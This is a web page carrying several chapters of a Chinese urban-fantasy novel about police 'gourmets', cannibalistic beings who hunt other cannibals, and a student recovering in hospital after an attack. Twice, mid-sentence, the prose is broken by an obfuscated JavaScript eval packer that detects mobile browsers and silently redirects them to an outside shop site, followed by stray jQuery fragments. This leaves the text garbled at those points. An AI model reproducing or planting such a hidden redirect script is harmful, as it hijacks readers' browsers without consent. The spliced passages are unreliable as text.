苏赞埋首,这是一块恰到好处,分泌着微热的洗浴香气,如腻玉一般的柔软嫩肉,他的牙齿戳着,颤栗得发紧,就差刺—— 嘭!!! 邓烟雨摔回地面,点点脏水拍脸,巨大的嗡鸣声淹没了感官知觉,她用仅剩能动的胳膊捂住耳朵,哆嗦地抬头。 苏赞老师飞在空中。 撞翻的手机砸上铁皮桶,电筒光乱飙。 眼花了。她不敢相信看到的画面,慢慢调整错乱的呼吸,视野清明起来。 确实是苏赞,他飞进了垃圾箱,正顶着一头臭烘烘的瓜果皮翻出来,眸中燃烧愤怒的绿光,像个泼妇歇斯底里:“混蛋!自己人踹什么踹!!” 跟着主人一起自由飞翔的手机嘣一声响,卡上破水管弯头,光束彬彬有礼打下来,邓烟雨下意识抬手挡,有人先行站到她面前,替她挡住了。 眼前虚实交杂,明暗相逢,光线强得灼伤出白烟,却稳稳熄在他高大挺拔的肩背上。 这人双手揣兜,一身懒劲,便利店的环保塑料袋挂手腕上,对面那位毫无师德在问候他祖宗,他扔掉袋子,朝前跨出一步。 皮夹克侧口袋掉出本证件,正好摊在光里—— 公安机关GS特发科一级特发警员 姓名公冶渡莲 4. 影青 “真会挑地方作案……” 空气窒息得弥漫不动,浓重的血腥味和腐烂变质的味道杂糅在一起,挤压这条又黑又窄的小巷。 正对巷口,一盏长命百岁的老路灯还在瞎凑热闹地频闪。公冶跨过地上碍事的啤酒罐,顺势看向身后,和邓烟雨视线相交。 他很高,挡住了路灯的光,挡住了苏赞,挡住一切扑向她的危险,理应如此地站在了她的前方。 不被任何物质所扭转的世界在这一刻为此定格,为这一眼定格。 冷静,理性,克制着情绪的,一个男人的目光,充满盛夏台风天的气息,掠过旷野一般飒爽袭来,把邓烟雨拉回二十年前的某个午后。 她浑身是血,先恍惚了。 记得小时候平安夜,被路边乞丐讨吃的,乞丐蓬乱的脏发下生着一双比绿宝石还名贵的眼睛,即便是那样的眼睛,都没有眼前这双带给她的震撼。 公冶渡莲并不清楚她在想什么。 只觉得她有些许面熟。 一秒过后,他转回去,不再看她,掏出手机叫救护车,发现没电。 “疯了……”那边,苏赞咝着冷气把扭成一股麻花的腕部拧回来,什么芬芳都吐出了口,“痛死我了……啊咝……妈的,混账东西你长没长眼!眉毛下是插了两个绿灯泡吗!怎么不挖了装十字路口去啊?!” “你还有理了?”他也不讲职业风范,毫不客气甩一句,一摸口袋,发现警察证不知道弄哪去了。 “哈?关你屁事,你谁啊,上来就给我一脚,饿脑残了发神经?”口腔里痛得发麻,苏赞抬起手背,轻轻搓去唇角的血,火冒三丈地骂道,“杂碎,踹我一嘴泥,真痛爆我了,我今天非揍趴你不可!” 他撩起眼皮,打量苏赞。 没多少耐心,也不是闲得蛋疼来这受教育的。 公冶一声不吭摘掉手套,活动指关节,苏赞见他一副公事公办的态度,原本还想为自己的下巴讨个公道,这会儿反倒不骂了。 对面这是认真了。 教了那么多年书,也算识时务,他可不想知道满地找牙是什么滋味。 “我又不是吃独食,两个小姑娘没多少肉,打个牙祭不行?你哪个区的,管那么宽。” “知道暴食美吗。” 不止本尊愣住,邓烟雨也傻了,眼睛瞪在证件上,就着光线仔仔细细又过了两遍。苏赞瞬间喷出大笑:“哈——哈哈哈哈!暴食美?就你吗?行啊,你可真行啊!那你知道我是谁吗?” “说来听听,看能不能吓死我。” “小杂种,拿我的名号在外头作威作福,你活够了吧!压我一级怎么了,老子照样把你扁成肉酱!” 苏赞老师…… 这些年对他的憧憬破碎了,邓烟雨真希望自己快点失明,这样就不用看到那张德艺双馨的皮囊从他脸上剥落的过程,不用看到他的眼睛里迸射出渴望血肉横飞的毒光,探出的獠牙流动着野兽掠食的瘙痒锋利,十指关节咯咯作响,疯长出十根可以把人大卸八块后精心摆盘的铁钩般的利爪,垂涎着寒光。 教书和吃人,竟然可以没有隔阂。 “袭警罪加一等,你想清楚。” 苏赞秀美的面庞扭曲了:“诶?” “GS执法,先生,”公冶瞥了眼时间,“有什么想骂的,进去再说。” 左侧的黑色通讯耳机一直在无声闪烁,紫光一明一灭跳跃,里头有个声音放炮一样噼里啪啦,怒得要杀人了:“呼叫影青,东二区名汇嘉园遇袭速支援。重复名汇嘉园8幢15楼有租户遇袭,立即支援收到回答。呼叫影青收到回答。呼叫影青。影青!影青你人呐?!名汇嘉园遇袭,你听到没?!” 他轻戳耳机,说:“过不来。” “紧急事件!腿断了也给我过来!” “五分钟。” “你干嘛?拉屎啊?” “收拾‘暴食’。还有定位我位置,叫辆救护车,要快。” “啊?‘暴食’?!混球你在哪个区!你逮人要走程序啊你他哔————” 他雷厉风行掐了通讯,那头已慌得六神无主:“不你到底谁?GS?!要死你为什么——别过来!草!” 邓烟雨眼睑颤了一下。 伤口不再忽冷忽热,血好像流干了,身体空前地轻飘自在。 “再撑一下……”邓烟雨爬过去,握住庆威凤冰凉的手,体力不支倒在脏臭的水坑里,谁在叫骂狂怒,谁在皮开肉绽,都混淆在模糊的耳畔了。 意识昏沉间,视野里寒光乍现,是副手铐。 邓烟雨闭上了眼。 警笛声四起,急剧闪跳的警灯交替刺激眼皮。 “小心搬上车。”“她们伤势过重,靳南今天值班吗,叫他回来。”“你是总部的公美?怎么到这个辖区了?什……抓到‘暴食’?!我知道我马上给董局打电话!” 好想睁开眼看看那位便服警官。 可我好累。 爸爸妈妈,对不起,我太困了,熬不下去了。 不过,能在公安人员的保护下死去,应该是这世上最心安的一种死法了吧。 …… 邓烟雨睁开了眼—— 素白的天花板,素白的墙壁,素白的床铺,手背的输液贴,透明的管子,高处两袋点滴,混合着镇痛剂与消毒水味的空气——这里是医院。 “你醒啦?” 庆威凤在窗前晒太阳,回头见邓烟雨睫毛动了,欣喜地凑上来。她苹果肌的淤青未退,脑袋缠着厚厚的纱布,整条左臂用石膏固定,怎么看都伤得不轻,两条腿倒是健步如飞,拖着个吊瓶架就跑出去喊护士了。 她们住在五楼同一间病房,另外两张床位空着,昨天蔡蔡来探病,只送进来鲜花水果,人拦在了外面。邓烟雨刚醒,弱不禁风食欲全无,到摘下氧气面罩才知道这是一家和公安直接对接的私立医院,建立着严格的保密制度,只接收被美食家袭击的伤病患。 “也不是连只苍蝇都不能进,那岂不无聊死了,我爸妈还有我哥前几天来看过我,说是和医院提出陪护申请,拿到什么什么许可才放进来的。” 庆威凤的爸妈早来病床前狠狠哭过了,当时庆威凤已清醒,实在不明白他们在梨花带雨些什么,直到邓烟雨的爸妈来,她总算旁观者清。 金曦一边从保温袋里拎出黄豆猪蹄汤,一边吸着鼻涕掉眼泪:“不该让你来歌华读大学的,在家种地就种地,总比丢命好啊,我可怜的囡囡,都伤成什么猴样了,肚子是不是很疼?唉妈妈真想替你受罪,都是妈妈不好……” “妈你别哭了,你妆都花了。”邓烟雨靠着软枕,看向一旁默默不言在削苹果的爸爸,微微一愣。 邓忠云的鬓角不知何时搀了白丝,眼眶也布着红,通身疲态,似乎没睡好。 “爸爸,你们现在住在哪?” “就近的宾馆。” “噢噢……对了,住院费和医药费是不是很贵啊,我们付得起吗?” “你放心养病,我们不要紧的,住院的费用你也不要担心。” “就是啊,操心什么钱啊,钱你爸爸有的是,你操心操心你自己,手臂都脱臼了!肚子破老大一个洞,你要有个三长两短,你让我们怎么办,妈妈要怪死自己了!为什么当时不在你身边,为什么不替你挡下,呜呜呜都是我不好!囡囡我可怜的女儿……” 邓烟雨被母上大人哭得五味杂陈,扭头向庆威凤求助,庆威凤单手吃力地剥着粑粑柑,耸了耸肩,好像在说:没办法,当妈的就这样。 “和救你的警察同志道谢了吗?”邓忠云把削好的兔子苹果装在饭盒里,插上牙签递给女儿,邓烟雨接过咬了一块,摇头说:“还没,我从醒来就没见过他。” “哎呀,是男同志还是女同志呀?”金曦突然不哭了,关切地问道,捋了捋女儿的头发。 邓烟雨努力回想,皮夹克,警察证件,绿沉沉的眼:“是男同志。” “噢噢,也对,这个肯定是男同志,女孩子怎么做这种打打杀杀的事啦,太危险了。老公,你来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579257|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝点汤吧,从昨晚就没怎么吃饭,那个,凤凤啊,你也来喝——” “谢谢叔叔阿姨!” 邓烟雨听着他们聊天,有一搭没一搭地附和,转动手中的牙签,苹果肉在她眼前晃成一朵模糊的小黄花。 要不要把那位警官的身份和父母坦白?其实救下自己和庆威凤的警察同志是美食家。 望着爸爸的样子,邓烟雨还是选择闭口不言。 邓忠云是深夜接到警方消息,夫妻俩订机票的手都在抖,连夜从两千多公里远的边陲小镇飞了过来,因为女儿术后一直未醒,医院始终谢绝家属入内,他们也初次见识到大城市的冷酷与野蛮。 撇开一流的技术不谈,格拉海德医院作为重疾治疗及研究绿眼人种的特殊医疗机构,个别做法确实不近人情,但这也是他们不可撼动的铁则。遭遇美食家袭击的伤者,其身体潜伏着或大或小的未知危险因素,不到醒来那一刻,谁也无法保证会发生什么,医院有责任维持公序,保障广大民众不受损害,人类的安全优先于任何血浓于水的感情。 “你和熊队打个电话,说504病房体征均正常,可以接受询问调查。”主治医生靳南站在一盏白光下,工整的大褂找不出丝毫褶皱,和他这个人一样,冷静得没有温度。 “好的靳医生,我会尽快转达。”护士长转头把任务交给一个嗓音甜美的小护士,最近熊队摊上了事,脾气差得扔根烟就能点着,冲小姑娘应该会赏张薄面。 “护士长,熊队说明天就来。” “好的。那你怎么这副表情?”快哭出来了。 “他还让我转达……” “转达什么?” “转达靳医生,他违反约定了,明天请洗干净脖子等着。” “……” “咋办,护士长?” “我说这俩人为啥各自有联系方式还要我们打电话通知对方,”护士长深吸一口气,吁出,“咱不管,他们冷战几天就会好的。” 邓烟雨在贩卖机买完茶饮,路过导诊台,琢磨着熊队是怎样一个人。 姓熊,会不会长得像PoohBear一样憨实可爱? 那天救她的警察估计是熊队的部下,当时他还冲耳机里说什么。 是叫……公冶警官吧? 爸爸说有机会还是要找人家道谢,可见一面好难啊。 快到病房时,她在转角口发现靳南,连忙叫住。靳南微讶:“还不睡?” 邓烟雨快步上前:“靳医生,不好意思,其实我有个请求。” 今晚又降温了。庆威凤一觉醒来,看见邓烟雨坐在床头对着夜色发呆。 “怎么还不睡?靳医生说了明天公安会来找我们问些问题,快快睡吧,养足精神。” “我喝了茶睡不着,”病房暖气打得挺足,她掀开被子,面向庆威凤,双腿垂在床边轻晃,“你伤口还疼吗?” “还好,疼麻了就不疼了。我可真是个Luckygirl,当时被苏老师一口咬昏过去,导弹都砸不醒,啥知觉也没有,”庆威凤说着,突然臭起了脸,“说起苏赞老师我就生气,堂堂一个教授,居然是连环食人魔,我看男人的眼光怎么这么差?哎你知道吗,他还有个奇怪的癖好,我和他说我右肩膀小的时候被滚水烫伤过,留着一块牡丹花形状的疤痕,他咬我的时候就专咬我那块疤!” “他咬你的疤?!”邓烟雨像在听恐怖有声读物,鸡皮疙瘩活过来一片,可惜胳膊痛,不能搓手臂缓解。 风动,掩在云后的月色徐徐移出,轻柔的光华落满地板。两个女孩默契地平复下来,各静片刻,庆威凤说:“救我们的警察真的是美食家?” “是的。” “公安美食家……”庆威凤食指绕着头发丝,“我还从来没见过呢。” “我想当面感谢他,前面正好遇到靳医生,就表达了这个想法。” “然后嘞,靳医生同意啦?” “他说尽量试试,”邓烟雨紧张地缩起脚趾,“让那位警官明天来一趟。” 5. 谈话 翌日清晨七点整,床头柜的智能小精灵扯着夹子音“哩哩哩”了半天,被一只突如其来的大手扼住咽喉,停止叫嚣。 小精灵是个憨态可掬的鸡蛋壳,被梆一拳还会露出哭唧唧的表情。 悬在床沿的软枕担惊受怕一夜之久,在主子一个轻微翻身后,终于如逢大赦落去地面。 又过五分钟,公冶渡莲从大床上慢吞吞爬起,蓬松的被子无声滑下肩膀。他呆滞片刻,伸腿下床稀里糊涂找拖鞋。 骨头关节咔嗒作响,看来是昨晚不节制地喝冰汽水打电动造成的后遗症。 想起昨晚的事,他沙包重的脑袋就泛疼。 “对你的禁制暂时解除了,天亮了来上班哈。” “……” 凌晨两点,液晶屏投出的冰冷蓝光如汪洋大海披身,公冶耷拉着气势靠在床尾,死气沉沉的眼一扫,地毯比垃圾填埋场还感人,狗来了都想一把火烧得眼不见为净,唯独几支银色针管像闪闪发光的黑蝶贝珍珠散落其间,为他辟出一条时断时续的逃生通道。 收到这个消息,他捏得手柄发出濒死的吱吱声:“您知道现在几点吗?” “我知道啊,这不为了善后你那桩‘飞来横案’又是‘面圣’又是背着良心进谗言写报告,连轴转到现在连口水都没喝上,结果我的下属因为迷路,就单纯因为迷路,闯进别人的地盘,不但连累我,自己还被臭批一顿接受停职处理在家享受空调呼呼大睡,我快气出白头发了半夜慰问你一声不行?你忙什么呢?啊又在打游戏?要我说你什么好,能不能除工作外找点正事做,女朋友不谈那高尔夫抓紧练一个,以后都用得上,不要让老一辈撵你屁股后头催你知道吗?” “滚。” “你说什么?” “我说滚哥您教育得对……” 熊小滚,他这位仁民爱物的顶头上司的凶名。新同事进组报到时,瞅着熊队帅气的亲笔签字直呼“这是什么可爱到爆炸的名字!”,笃定这副大名的背后是一个体格魁梧长相凶猛的正直老干部。 就中了“正直”,其他全笃错了。 熊队超乎想象的小个,跟个吉祥物一样,他手下的孩子平均身高一米八,和他们站一块,熊队就像个迷你版的火箭浣熊。公冶初见熊队,必须凹出双下巴才能和自己的上司有眼神交流,开会时总忍不住去瞄上司暂且茂密的发旋——想握住,就像握篮球那样。 公冶挂了电话就蒙头大睡,醒来也没补回多少体力,喊了蛋宝三次让它拉开窗帘,臭蛋没反应,于是他只能在昏暗的卧室里盲人瞎马摸到目的地,刚要自己动手,那颗死了五分钟的蛋就殷勤地说【我来我来!我来~~~】 落地窗帘自动拉开,公冶神色郁郁地在心里的记仇本上又记了它一笔。 今天是大晴天,十度的阳光扑面而来,灿烂不刺目,他随便找了件椅背上的衬衫换上,睡翘的头发在万丈光芒下张牙舞爪,行为艺术满分。 拨起水龙头,流出的玩意凉得人头皮发麻,水温还要反应一会儿。 这天怎么回事,才十一月,就和冷空气光速扯证了。 早餐还是去楼下解决吧。他系着领带路过他家积尘的文物展厅——厨房,思考昨夜熊队“言简意赅”的话语里那份隐隐不纯的动机。 “暂时”解除禁制,并非正式回去上班,难道是嫌上次骂得不够抑扬顿挫连夜打了份稿准备再掷他一脸吗? 被一堆光洁的纸张亲吻的滋味可不好受,公冶心觉不安,简局那张阴阳怪气的笑脸犹在眼前,笑得人牙痒。 七日前,歌华市公安局行政办公大楼。 “一次八千?这么贵,这老师是有啥手眼通天的本事,教了就保送?” “人没什么,主要是冲着他手里头的资源。唉,还是那套路,教育改革喊了多少年,到头不就新瓶装旧酒嘛……” 两名警察手持材料,唠着家长里短从远处走来,聊天的声量在经过局长办公室时不自觉地收小,虽然嘴里还掰扯着小孩补课的琐事,但余光总忍不住,三番五次去瞄门口那人。 公冶渡莲背着手,安静地站在局长办公室门口,已经半个小时了。 稀客啊,一大早就罚站在阎王爷的殿外。不过到底犯啥事了,要这么光天化日处刑? 两名警察走进办公室,关上门,这才松了把汗。 “什么情况,公美为什么会在这?” 窝在工位上强撑着眼皮干活的同事闻言惊坐起:“我们这有公美?熊队有跟着吗,不会单枪匹马就杀过来吧……” “他单枪匹马他又不怕,要喊救命的该是我们。” 市局里一般不会出现公美的影子,公安美食家在系统内有专门的待命点:美食家收容所(GourmetShelter,简称GS)。 GS的研拟成立是基于二十五年前那桩惊天动地的大规模食人案“四一稀美屠杀案”,该案件并未随着年月的流逝而淡出民心,惨绝人寰的现场画面将一辈子烙印在幸存者的脑海中。 案发地点在东一区新座——全天人山人海,挤得脚尖离地,交通秩序严重瘫痪的首都著名商圈,案发时间是2104年4月1日下午4点01分,一名稀缺美食家走在街上,毫无征兆陡然变异,开始疯狂撕咬周围的人群,当时有张堪比噩梦的照片流于网上,照片中,起码有二十具尸体形同麻袋堆在那名美食家周围,直观过去就是一堵人肉筑起的壁垒,翻遍各大惨案卷宗也拿不出一页能比。 该案有个幸存者小女孩,现在也长大了,再被问起,她说她依旧忘不了自己的父母死死压在自己身上,而上方传来一口又一口咀嚼骨肉的声音。 “我就听着我的父母被他慢慢吃掉。” 四一稀美屠杀案如同海上一阵酝酿已久的飓风骤然登陆,却没有杀得我方片甲不留,只是轻轻牺牲了一名公安执法人员。可正是这轻轻一名,足以打得公安机关气势狼藉,引起中央高度重视。 自美食家诞生迄今,拖缠了太多历史症结,近年来蛰伏在国家心脉下的一颗不知恶良的肿瘤,已通过那天下午短短几分钟的屠杀迅速茁长,毒意毕现。同年大雪之日,经政府批准,国家公安部与歌华市公安局宣布成立GS,内设特殊发动科,选拔多名忠诚的公安美食家组成特发小组,指挥官一名,各省各地均有所分布,严格执行美食家的打防控作业,对孤儿美食家、精神变异的美食家等“非正常美食家”进行收留管制。 熊小滚上任刑侦支队队长半年光景,三把火还没放,就被派到GS总部做二把手。除总部外,歌华市其他地区也下设两家分所,这两个所的指挥官心理素质不硬,不是每晚噩梦缠榻就是在信纸上声泪俱下请求调岗,直至上个月,关海区分所因人手短缺正式撤除。 “赵局虽说有暴脾气的时候,但向来不拿大,看他那样是触虎须了。” “暴食美前几天落网了,难道他跟那案子有牵扯?” “说话要讲究真凭实据,公美好歹是通过特训才能上岗的,至少不会动辄气血上涌吃个人。干活吧,咱自己的案子还没搞明白呢。” 不等茶余饭后,公冶渡莲已经成为大伙忙里偷闲的谈资,他也烦得很,站得快睡着了,那扇门终于打开。 阳光直照,在走廊地面泼下一寸雪亮的光。 “哎哟,让你等大半天了,恼了吧?” 常务副局长简繁那双漂亮的狐狸眼一弯,风流的面孔竟笑得慈眉善目,公冶回敬他一个笑:“哪敢,做错事了,让领导您费心。” “知道你年纪轻,侠肝义胆,这不替你在说情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579258|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”简繁招手,“进来吧。” 歌华市副市长兼公安局局长赵平功与简繁刚聊完一个话题,笑叹一声,起身去倒茶。他今天心情貌似挺好,并没有因为自己部下的部下未报备就跨区抓捕触犯纪律而心力交瘁。 清晨的光芒庞大而温柔,照得他身影有些伟岸,公冶不出声地望着他,想起月河分局那位领导,知道有公美在他辖区捅娄子,关起门来气得骂娘,那一叠天女散花的文件就是他痛甩在公冶脸上。 “是叫……影青,”赵局抬了抬眼镜看他的信息,“青,用颜色命名,这个代号很古老了,你是早一批进来的公美吧。” “是。” “跟你一起的还有哪几个?” “除了我,还有一个,代号暮火。” “老一批就剩他们两个了,可见这几年的管控确实落实到位,美食家都殉职不少。”简繁很会揣度万岁爷的心思,与之一起露出痛心疾首的神色。 “影青同志,你在收容所待了七年,想必对所内条规有明确的认知,公美跨区缉捕,需要与自家指挥官进行备案,情况危急时,也至少要留个上报痕迹,虽然你与熊小滚同志及时取得了联系,做了简要的汇报,但先斩后奏,也是不符合规定的。” 赵局脸上笑意有点无奈,靠着椅背缓缓道来:“我知道,公安系统对公美的限制过严,不过这不代表你可以忽视组织纪律,歌华十个区任意妄为地跑,我们要对人民的安全负责,也要对你们的行为与安全负责,这些死板的条条框框确实对你们起到束缚作用,但同样,这也是公安想保护你们的一道准绳。” “是,我明白,”公冶垂眸,“这次是我莽撞了,遇到袭击事件时应该第一时间通知当地警方,我会写一份检讨上交,保证不再发生这样的事。” “检讨自然要写,对外也要做做样子,这样吧,你回家休息个四五天,等董局气消了,到时候让指挥官接你出来。对了,你昨天是怎么和老董解释的?” “迷路,”公冶说,“买好晚饭走岔路了,我都不知道自己在满月区。” “哈哈哈哈,你用‘迷路’搪塞老董,难怪被他泼文件啊,”赵局瞧这小年轻性情老实,还诉得这般委屈,笑着拨了拨茶盖,对身旁讲,“公美为社会安定方面做出许多贡献,无论什么事情,皆需一视同仁。” 简繁笑了,上前掸去公冶肩上不存在的飞尘,轻快地说:“像影青这样任劳任怨的好同志可不多得了,我当然会珍惜。” 公冶置若罔闻。 不明白,这样一张脸是怎么混进政法系统的,他看着像人民公仆吗? 原以为今天是去走个过场,但不排除简局给他设了一桌鸿门宴。公冶不想穿警服,一把扯掉领带,黑西装一套,草率地出门了。 正值早高峰,两部电梯上上下下忙得只想趁早故障,公冶一手揣裤兜,一手浏览手机上的晨间新闻,叮的一声,电梯疲惫地张开了大嘴。 里面像饺子下锅,穿羽绒戴围巾的上班族扎堆挤着,门一开,见外面站着个不要温度的西装男,皮鞋轻击瓷砖地,传来“嗒、嗒”的等待声,一身黑色气质不知道混哪里的,再往上看…… …… 打瞌睡的,神游的,思考今天中午吃什么的,统统清醒了,仿佛自己是一锅端好的热菜盛到冷出锋光的刀叉下,无处可藏,无路可逃。 逼仄的电梯轿厢里噤若寒蝉,他们人多势众,却依然生出被外面一个人包围的心理,脚下的大理石花纹弧度精致,宛如一张圆餐盘。 惧怕的眼神摆在那里,示意在那里,把无辜的空气都牢牢绑架住了,一时判断不出哪边才是待宰的羔羊。 沉默,死亡的沉默。 公冶与他们对视几秒,低头走开,选择乘下一波空点的。 6. 探病 习惯这样的眼神了,无论在哪种场合,无论遇到哪种人,这样的眼神都是意料之中的结果。 最近楼里多了几张生面孔,熟人好歹能装装样子。 公冶居住的揽月邸,密度低,绿化好,有城市绿肺的美名,地理位置也相当温和地坐落在两区线上,朝北望尽星湖区的车水马龙烟熏火燎民生百态,朝南则是强企林立的“心脏之区”——紫露区。国家公安部、市公安局、GS总部,以稳固的三角形态矗立在密集闪烁的楼海中心。 隐居此地的多是些搞艺术的社会名流和退休的政要官员,适合养老,所以房价不亲民,有不少小年轻咬牙合租在这,官二代出没频繁。公冶买它是瞧中小区不要钱似的绿化,夏天走在林荫下,泼天的氧气笼罩下来,蚊虫、高温、聒噪的蝉鸣,一概消失殆尽,是个令人费解的消暑圣地。 熊队没让他准时出现——那就理解为允许迟到。等掉了三波,总算等到个宽敞的,里头有条狗,缩在角落蔫着尾巴冲他低呜,主人是个好性子的,对狗说这是我们楼的阿Sir哥哥,你忘啦? 公冶回头看它一眼,叫道:“卡卡东。” 狗愣住了,一脸“他怎么知道我名字”? “哈哈哈哈,”主人仰天长笑,“它是声控识别的。” 公冶也笑了。 最近楼里是来了些不认识的人,殊不知自己才是那张生面孔,这两个月基本睡在单位宿舍,回家次数寥寥无几,狗都不认识他了。 大腿那响起震动,熊队已向他发来夺命连环call,他打了个含泪的哈欠,不疾不徐地接通:“我在路上,真的。” “你开车来?” “我走路来,太困了。” “最迟九点到。” “一定,”公冶顺带问,“这次是简局的旨意?” “你猜到了啊,”电话那边顿了顿,说,“你这口井水还真犯他的河了,人放着上好的茶沫不吹,非要下基层亲自来迎你。” “他来GS了?”公冶走出电梯,失笑,“赶快夹道欢迎啊,都八百年不下凡了。” “我感觉他还挺喜欢你的,”熊小滚说这话时,心虚地摸摸鼻头,“等会来单位态度乖点啊,你知道刑侦那边最近才活过来,简局为了阿沈的事大病一场也不回家休息,差点把人熬干了,关键时期,都体谅下。” “明白,”原来打这电话只为通风报信,“先撂了。” “等等,额……你救的那两个小姑娘,醒了。” “哦,都好吗?” “没啥大问题,我一会要去找她们例行公事问点问题,你跟我一块。” “……为什么?” “她们要见你。” “见我?” “要给你发锦旗,所以别迟到。” “我……” “别推辞,你今天不来的话,这辈子都不用出现了,拜。” 寒风中,公冶举着嘟嘟嘟的手机,呆若木鸡。 这边熊小滚在走廊通完气,扭头回到办公室,简繁也刚刚挂断一通电话,表情复杂:“国厦那案子有进展了,我要回局里。” “不等影青了?”还说要接风洗尘呢。 “不了,去医院的事你负责。还有,今天如果来不及,‘暴食’先晾一边,继续严审林硕文,等那头一结案,他就要移交了,敲碎他的牙也要敲出点实质性的东西来。” 犯罪的美食家不会关到公安局去,无特殊情况都在GS内部审讯侦查,但国厦食人案比较尴尬,这案子紧密牵系着市刑警队。 放在平时,GS这边该抓的抓该问的问,书面工作走完,证据材料呈给局里简单过目一遍,就可以移送检察院了,可这次的案子没那么顺理成章,主犯林硕文不仅对自己女友下毒手,残暴虐杀了三名同事,还丧心病狂咬掉副支队长沈鸣的左臂,人虽然抢救回来了,但这无疑是打了刑侦一巴掌。 “蒋淮铁了心跟我要林硕文,非要把林的案子拿走,我想这事既然落到市局头上,干脆让蒋淮他们接管也好,要审人就来GS。没想到,他们拿了案子到现在,一点动静也没有。”熊小滚说着,一字一句透出满满的凄凉。 “阿沈确实丢了条手臂,可到底没有出现牺牲,他们就不会真的想去拼个鱼死网破,终归这事捅出去也不光彩,”简繁神色不快地阐明,侧过头,勾起一抹嘲讽的笑,“上头还来吩咐了,你要听原话吗?” “什么?” “‘GS没必要再在林硕文身上浪费时间,配合一下’。” 翻译过来就是GS可以撒手了,请尽快配合刑侦支队结案。简繁不去看熊小滚的脸色,扬手披上大衣:“暮火,斗香,跟我跑一趟市局。” 被意外点名的斗香缩在乱糟糟的工位上,嚼着小番茄,含糊地说:“为啥我也要去,以前不都是极乐去吗?” 谁都知道,极乐请病假了,只能挑个半斤八两的来充大冤种。 “路法医需要你们,”简繁笑得比菩萨还亲切,“公美在场辅助,兴许能出奇迹,好了别磨蹭了,快跟我走。” 组长暮火二话不说抓起外套出发,他的搭档斗香则纹丝不动。 “简局,我是女生。” “我知道,有问题吗?” “您舍得让一个如花似玉弱不禁风的美少女去捣鼓三具腐败坑洼的男性尸体吗?” “舍得,有问题吗?” “……没问题,我知道了。”斗香气呼呼地把剩下的小番茄全塞嘴里,办公室全体起身,恭送简魔头领着两颗倒霉蛋扬长而去。 “刑侦现在跟我们借人是越发明目张胆了,简局都被他们当枪使。” “下回给简局送支人参吧,瞧他忙的,脸都绿了。” “听说国厦死的三名男职员被开膛破肚,手法相当残忍,斗香不要紧吧?” “她鼻炎犯了,不要紧。” “你们也知道国厦案对刑侦支队造成了不可估量的重创,”熊小滚悠悠转过身来,目光锐利地扫视这批吃饱没事叽叽喳喳的小崽子,“他们日子难过,我们也不用消停了,少说点风凉话,做好分内之事。” “老大,你都三媒六聘嫁到我们地盘了,怎么还帮着娘家人说话呀,我们要不开心了。” “什么乱七八糟,谁嫁了,说什么呢!”熊小滚抓了包零食砸过去,“吃你的江米条!” 唰——门被拉开,是讯问室的同事:“林硕文发病了,嚷着要吃肉!” “这孙子头回碰人肉,果然上瘾了,”熊小滚说,“他愿意说实话吗?” “咬死都不说,已经神志不清了,让我们去问他女朋友。” 好意思讲,他女朋友就剩一张皮了,此刻在解剖台上摊着呢,问鬼啊。 “老大,要给他扎针吗?” “不许扎,也不许喂药,都出来,给他一个人关着,熬不住了会松口。” 唰——门再次被拉开,公冶潦草地出现在门口,身上还携带着室外的风。 “来了,”熊小滚拿文件夹拍他肩膀,“走,先去医院,等会回来陪我审林硕文和苏赞,主要是林硕文,他案子牵扯大,背后八成有主使。” 公冶马不停蹄跟上:“他是初犯,不打算酌情处理?” “酌情个头,我怀疑这货压根就是让人买了,顺便自己开荤图个爽,隔壁大概是要公事公办,所以GS也绝对不能帮 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“其实我惊讶的是现在教育部对教授评选授予的标准,这样的人也可以成为一所重点大学的正教授。” “他是真的饿到精神失常了吗,还是为了满足自己这颗追求杀戮的心,对一个又一个弱女子下毒手?” 邓烟雨眉头一皱。 “卢老师,您有什么看法呢?” 被唤作卢老师的啤酒肚男子陷在一条长沙发里,和蔼地眯着眼说:“能当上教授,说明他在人际关系的处理中还是具备一定能力的,他能做到左右逢源,也比其他美食家更会观察人类,他上课时一定常常思考怎么吃掉这些学生。” “天呐,这简直太可怕了……” “更可怕的还有呢,网上有不少年轻人为这名教授发声。这些孩子,都看在了那张脸上,啧啧啧,简直是世风日下……” “所以我认为教育界需要血洗整顿,不仅要清除那群可恨的饮食暴徒,更要纠正青少年的认知与风气。” “卢老师这句话说的特别好啊,他们果然就是一伙饮食暴徒,我们的和平就是被他们打破的。” “国家再不重视,我们的下一代就要毁——” 啪——庆威凤拿过遥控器,关掉电视。 “这节目就会哗众取宠以偏概全,咱不看。” 邓烟雨把折坏的彩纸展开铺平,继续叠:“我还以为学校会把消息压住。” “怎么压住,闹得太大了,吃了那么多人,总要给社会一个交代。” “苏老师没得洗。” 两个女生安静地折着纸,一只皱巴巴的千纸鹤在邓烟雨手中逐步成形。 病房门被敲响,照顾她们的护士抱着病历本开门走了进来,身后还跟着两名警察。邓烟雨把千纸鹤放进宽口玻璃瓶,循声抬头。 走在前头的警察是个小个子,五官端正,肩薄腰窄,很难判断真实年纪,不过女孩们并未被这张好看的皮囊误导,他身上那种长年扑于一线,睡个觉都有可能用卷宗盖着,无数个大夜苦熬出来的忙碌老练的气质,是再过分的童颜也无法抹去的铁证。 绝对是个老刑侦。 庆威凤目不转睛瞧了许久,邓烟雨倒是把视线默默移向后面那位。 